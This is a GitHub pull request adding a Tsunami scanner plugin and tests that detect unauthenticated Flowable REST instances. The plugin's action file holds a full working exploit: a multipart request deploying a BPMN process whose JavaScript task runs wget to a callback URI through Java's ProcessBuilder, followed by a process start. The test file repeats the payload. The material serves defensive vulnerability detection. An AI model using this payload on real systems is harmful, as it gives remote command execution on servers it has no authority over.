Skip to content

PRP: Flowable Exposed UI RCE #685

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 4 commits into
base: master
Choose a base branch
from
Open

PRP: Flowable Exposed UI RCE #685

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
4 commits
Select commit Hold shift + click to select a range
52c7145
Flowable exposed UI
devampkid Aug 13, 2025
debc54a
testcases work fine now, thanks to the @tooryx
devampkid Aug 13, 2025
d2b966a
update finding section
devampkid Aug 13, 2025
036a350
cleanup action to have a clean test
devampkid Oct 3, 2025
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
131 changes: 131 additions & 0 deletions templated/templateddetector/plugins/exposedui/Flowable_ExposedUI.textproto
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,131 @@
# proto-file: proto/templated_plugin.proto
# proto-message: TemplatedPlugin

###############
# PLUGIN INFO #
###############

info: {
type: VULN_DETECTION
name: "Flowable_ExposedUI"
author: "lanceD00M"
version: "0.1"
}

finding: {
main_id: {
publisher: "GOOGLE"
value: "FLOWABLE_EXPOSED_UI"
}
title: "Exposed Flowable instance"
description: "Flowable instance is exposed and can be used to compromise the system."
recommendation:
"Configure authentication or ensure the Flowable instance is not exposed "
"to the network. See "
"https://www.flowable.com/open-source/docs/header-rest/#installation-and-authentication."
severity: CRITICAL
}

###########
# ACTIONS #
###########

actions: {
name: "flowable_exposed_ui_fingerprint"
http_request: {
method: GET
uri: "/flowable-rest/docs/"
response: {
http_status: 200
expect_all: {
conditions: { body {} contains: 'case "specfile/process/flowable-swagger-process.json":' }
conditions: { body {} contains: 'case "specfile/dmn/flowable-swagger-decision.json":' }
}
}
}
}

actions: {
name: "deploy_tsunami_process"
Copy link
Collaborator

@giacomo-doyensec giacomo-doyensec Oct 3, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I suggest registering a cleanup action if this is persisted.

http_request: {
method: POST
uri: "/flowable-rest/service/repository/deployments"
headers: [
{ name: "Content-Type" value: "multipart/form-data; boundary=------------------------gxyhRpqEx2dfbXUDrMqEEL" }
]
data: '--------------------------gxyhRpqEx2dfbXUDrMqEEL\r\nContent-Disposition: form-data; name="file"; filename="jsScript.bpmn"\r\nContent-Type: application/octet-stream\r\n\r\n<?xml version="1.0" encoding="UTF-8"?>\n<definitions xmlns="http://www.omg.org/spec/BPMN/20100524/MODEL"\nxmlns:flowable="http://flowable.org/bpmn"\ntargetNamespace="Examples">\n\n<process id="jsScriptProcess" name="JavaScript Script Process">\n<startEvent id="start" />\n<sequenceFlow sourceRef="start" targetRef="scriptTask" />\n<scriptTask id="scriptTask" name="Execute Command via JavaScript"\nscriptFormat="javascript"\nflowable:autoStoreVariables="true">\n<script>\nvar ProcessBuilder = Java.type(\'java.lang.ProcessBuilder\');\nvar Arrays = Java.type(\'java.util.Arrays\');\nvar Scanner = Java.type(\'java.util.Scanner\');\n\nvar processBuilder = new ProcessBuilder(Arrays.asList(\'wget\', \'{{ T_CBS_URI }}\'));\nvar process = processBuilder.start();\n\nvar scanner = new Scanner(process.getInputStream()).useDelimiter("\\A");\nvar result = scanner.hasNext() ? scanner.next() : "";\n\nexecution.setVariable(\'commandOutput\', result);\n</script>\n</scriptTask>\n<sequenceFlow sourceRef="scriptTask" targetRef="end" />\n<endEvent id="end" />\n</process>\n\n</definitions>\n\r\n--------------------------gxyhRpqEx2dfbXUDrMqEEL--\r\n'
response: {
http_status: 201
expect_all: {
conditions: { body {} contains: '"id"' }
conditions: { body {} contains: '"name"' }
conditions: { body {} contains: '"deploymentTime"' }
}
extract_all: {
patterns: [
{
from_body: {}
regexp: "\"id\":\"([a-f0-9-]+)\""
variable_name: "deploymentid"
}
]
}
}
}
}

actions: {
name: "execute_tsunami_process"
http_request: {
method: POST
uri: "/flowable-rest/service/runtime/process-instances"
data: '{"processDefinitionKey": "jsScriptProcess"}'
headers: [
{ name: "Content-Type" value: "application/json" }
]
response: {
http_status: 201
expect_all: {
conditions: { body {} contains: '"id"' }
conditions: { body {} contains: '"processDefinitionId"' }
conditions: { body {} contains: '"processDefinitionDescription"' }
conditions: { body {} contains: '"value"' }
}
}
}
cleanup_actions:["cleanup_tsunami_process"]
}

actions: {
name: "cleanup_tsunami_process"
http_request: {
method: DELETE
uri: "/flowable-rest/service/repository/deployments/{{ deploymentid }}"
}
}

actions: {
name: "sleep"
utility: { sleep: { duration_ms: 1000 } }
}

actions: {
name: "check_callback_server_logs"
callback_server: { action_type: CHECK }
}


#############
# WORKFLOWS #
#############
config { }

workflows: {
actions: [
"flowable_exposed_ui_fingerprint",
"deploy_tsunami_process",
"execute_tsunami_process",
"sleep",
"check_callback_server_logs"
]
}
107 changes: 107 additions & 0 deletions templated/templateddetector/plugins/exposedui/Flowable_ExposedUI_test.textproto
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,107 @@
# proto-file: proto/templated_plugin_tests.proto
# proto-message: TemplatedPluginTests

config: {
tested_plugin: "Flowable_ExposedUI"
}

tests: {
name: "whenVulnerable_returnsVuln"
expect_vulnerability: true

mock_callback_server: {
enabled: true
has_interaction: true
}
mock_http_server: {
mock_responses: [
{
uri: "/flowable-rest/docs/"
status: 200
body_content:
'case "specfile/process/flowable-swagger-process.json":'
'case "specfile/dmn/flowable-swagger-decision.json":'
},
{
uri: "/flowable-rest/service/repository/deployments"
status: 201
body_content: '{"id":"15a2a09b-7833-11f0-be7c-d6c58d18e6b5","name":"jsScript","deploymentTime":"2025-08-13T10:48:45.013Z","category":null,"parentDeploymentId":"15a2a09b-7833-11f0-be7c-d6c58d18e6b5","url":"http://localhost:8081/flowable-rest/service/repository/deployments/15a2a09b-7833-11f0-be7c-d6c58d18e6b5","tenantId":""}'
condition: {
body_content: 'Content-Type: application/octet-stream\r\n\r\n<?xml version="1.0" encoding="UTF-8"?>\n<definitions xmlns="http://www.omg.org/spec/BPMN/20100524/MODEL"\nxmlns:flowable="http://flowable.org/bpmn"\ntargetNamespace="Examples">\n\n<process id="jsScriptProcess" name="JavaScript Script Process">\n<startEvent id="start" />\n<sequenceFlow sourceRef="start" targetRef="scriptTask" />\n<scriptTask id="scriptTask" name="Execute Command via JavaScript"\nscriptFormat="javascript"\nflowable:autoStoreVariables="true">\n<script>\nvar ProcessBuilder = Java.type(\'java.lang.ProcessBuilder\');\nvar Arrays = Java.type(\'java.util.Arrays\');\nvar Scanner = Java.type(\'java.util.Scanner\');\n\nvar processBuilder = new ProcessBuilder(Arrays.asList(\'wget\', \''
}
},
{
uri: "/flowable-rest/service/runtime/process-instances"
status: 201
body_content:
'{"id":"24aeb56e-7833-11f0-be7c-d6c58d18e6b5","url":"http://localhost:8081/flowable-rest/service/runtime/process-instances/24aeb56e-7833-11f0-be7c-d6c58d18e6b5","name":null,"businessKey":null,"businessStatus":null,"suspended":false,"ended":true,"processDefinitionId":"jsScriptProcess:2:15a4273d-7833-11f0-be7c-d6c58d18e6b5","processDefinitionUrl":"http://localhost:8081/flowable-rest/service/repository/process-definitions/jsScriptProcess:2:15a4273d-7833-11f0-be7c-d6c58d18e6b5","processDefinitionName":"JavaScript Script Process","processDefinitionDescription":null,"activityId":null,"startUserId":"rest-admin","startTime":"2025-08-13T10:49:10.258Z","superProcessInstanceId":null,"variables":[{"name":"commandOutput","type":"string","value":"Linux 32b589dc11ac 6.14.0-27-generic #27~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 17:38:49 UTC 2 x86_64 Linux\n","scope":"local"}],"callbackId":null,"callbackType":null,"referenceId":null,"referenceType":null,"propagatedStageInstanceId":null,"tenantId":"","completed":true}'
condition: {
body_content: '{"processDefinitionKey": "jsScriptProcess"}'
}
},
{
uri: "/flowable-rest/service/repository/deployments/15a2a09b-7833-11f0-be7c-d6c58d18e6b5"
status: 201
}
]
}
}


tests: {
name: "whenNotFlowable_returnsNoVuln"
expect_vulnerability: false

mock_http_server: {
mock_responses: [
{
uri: "/api/v1/main/usages/all"
status: 400
body_content: "..."
}
]
}
}

tests: {
name: "whenNoCallback_returnsFalse"
expect_vulnerability: false

mock_callback_server: {
enabled: true
has_interaction: false
}

mock_http_server: {
mock_responses: [
{
uri: "/flowable-rest/docs/"
status: 200
body_content:
'case "specfile/process/flowable-swagger-process.json":'
'case "specfile/dmn/flowable-swagger-decision.json":'
},
{
uri: "/flowable-rest/service/repository/deployments"
status: 201
body_content: '{"id":"15a2a09b-7833-11f0-be7c-d6c58d18e6b5","name":"jsScript","deploymentTime":"2025-08-13T10:48:45.013Z","category":null,"parentDeploymentId":"15a2a09b-7833-11f0-be7c-d6c58d18e6b5","url":"http://localhost:8081/flowable-rest/service/repository/deployments/15a2a09b-7833-11f0-be7c-d6c58d18e6b5","tenantId":""}'
condition: {
body_content: 'Content-Type: application/octet-stream\r\n\r\n<?xml version="1.0" encoding="UTF-8"?>\n<definitions xmlns="http://www.omg.org/spec/BPMN/20100524/MODEL"\nxmlns:flowable="http://flowable.org/bpmn"\ntargetNamespace="Examples">\n\n<process id="jsScriptProcess" name="JavaScript Script Process">\n<startEvent id="start" />\n<sequenceFlow sourceRef="start" targetRef="scriptTask" />\n<scriptTask id="scriptTask" name="Execute Command via JavaScript"\nscriptFormat="javascript"\nflowable:autoStoreVariables="true">\n<script>\nvar ProcessBuilder = Java.type(\'java.lang.ProcessBuilder\');\nvar Arrays = Java.type(\'java.util.Arrays\');\nvar Scanner = Java.type(\'java.util.Scanner\');\n\nvar processBuilder = new ProcessBuilder(Arrays.asList(\'wget\', \''
}
},
{
uri: "/flowable-rest/service/runtime/process-instances"
status: 201
body_content:
'{"id":"24aeb56e-7833-11f0-be7c-d6c58d18e6b5","url":"http://localhost:8081/flowable-rest/service/runtime/process-instances/24aeb56e-7833-11f0-be7c-d6c58d18e6b5","name":null,"businessKey":null,"businessStatus":null,"suspended":false,"ended":true,"processDefinitionId":"jsScriptProcess:2:15a4273d-7833-11f0-be7c-d6c58d18e6b5","processDefinitionUrl":"http://localhost:8081/flowable-rest/service/repository/process-definitions/jsScriptProcess:2:15a4273d-7833-11f0-be7c-d6c58d18e6b5","processDefinitionName":"JavaScript Script Process","processDefinitionDescription":null,"activityId":null,"startUserId":"rest-admin","startTime":"2025-08-13T10:49:10.258Z","superProcessInstanceId":null,"variables":[{"name":"commandOutput","type":"string","value":"Linux 32b589dc11ac 6.14.0-27-generic #27~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 17:38:49 UTC 2 x86_64 Linux\n","scope":"local"}],"callbackId":null,"callbackType":null,"referenceId":null,"referenceType":null,"propagatedStageInstanceId":null,"tenantId":"","completed":true}'
condition: {
body_content: '{"processDefinitionKey": "jsScriptProcess"}'
}
},
{
uri: "/flowable-rest/service/repository/deployments/15a2a09b-7833-11f0-be7c-d6c58d18e6b5"
status: 201
}
]
}
}